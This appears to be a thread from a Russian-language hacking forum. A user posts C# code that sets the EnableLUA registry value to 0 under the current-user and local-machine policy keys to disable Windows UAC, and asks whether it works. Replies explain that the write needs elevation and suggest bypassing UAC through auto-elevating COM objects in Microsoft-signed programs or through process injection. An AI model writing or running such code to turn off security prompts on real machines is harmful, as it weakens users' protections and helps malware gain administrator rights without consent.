• XSS.stack #1 – первый литературный журнал от юзеров форума

Отключение UAC, рабочий метод?

incode

floppy-диск
Пользователь
Регистрация
15.09.2012
Сообщения
6
Реакции
0
Собственно выполняет ли нижепоставленый код отключение UAC, рабочий ли способ?
Код:
using System;
 using System.IO;
 using Microsoft.Win32;

 namespace autostart
 {
 class Program
 {
 static void Main()
 {

 try
 {
 var uac = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);

 if (uac != null)
 if (uac.GetValue("EnableLUA") != null)
 uac.SetValue("EnableLUA", "0");
 Console.WriteLine("UAC desactivated");

 }
 catch (Exception c)
 {
 Console.WriteLine("Writing in registry failed " + c);
 }

 try
 {
 var uac = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);

 if (uac != null)
 if (uac.GetValue("EnableLUA") != null)
 uac.SetValue("EnableLUA", "0");
 Console.WriteLine("UAC desactivated");

 }
 catch (Exception c)
 {
 Console.WriteLine("Writing in registry failed " + c);
 }
 }
 }
 }
 
для изменения реестра нужно в любом случае повышение привелегий, а тут попытка сменить значение в реестре.

а вообще скомпилируйте и посмотрите сами ;)
 
ком объекты, автоэлевация
 
Если ЮАЦ включен , тебя даже в реестер не пустит.
Такой метод как у тебя не актуален вообщем...

А лучше заведи виртуалку поставь 7 , и будеш сам все видить.
 
недавно на глаза попалась утилита Hidden Start - Run Applications and Batch Files without a Console Window or UAC Prompt
The /NOUAC switch allows you to run applications and batch files with administrative privileges without any UAC prompts (requires a license key).
ссылка на нее попадалась на сайте микрософта. так что, по идее, должна работать.
 
at0m
Инжект нужен только если элевировать весь процесс без окна UAC, в этом же нет необходимости, подписанные майкрософтом приложения могут поднимать элевированные COM объекты без окна UAC, правда только определенные вроде. Те действия, которые необходимо выполнить, делаются через эти COM объекты. Единственно что, это работает только при стандартном уровне UAC (так что на висте облом) + я не тестировал это на восьмерке, но по идее должно работать.
 
neko
нет у меня просто альтернативный инжект был вот а потом код по ссылке выше ))
Единственно что, это работает только при стандартном уровне UAC (так что на висте облом) + я не тестировал это на восьмерке, но по идее должно работать.
полностью согласен
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх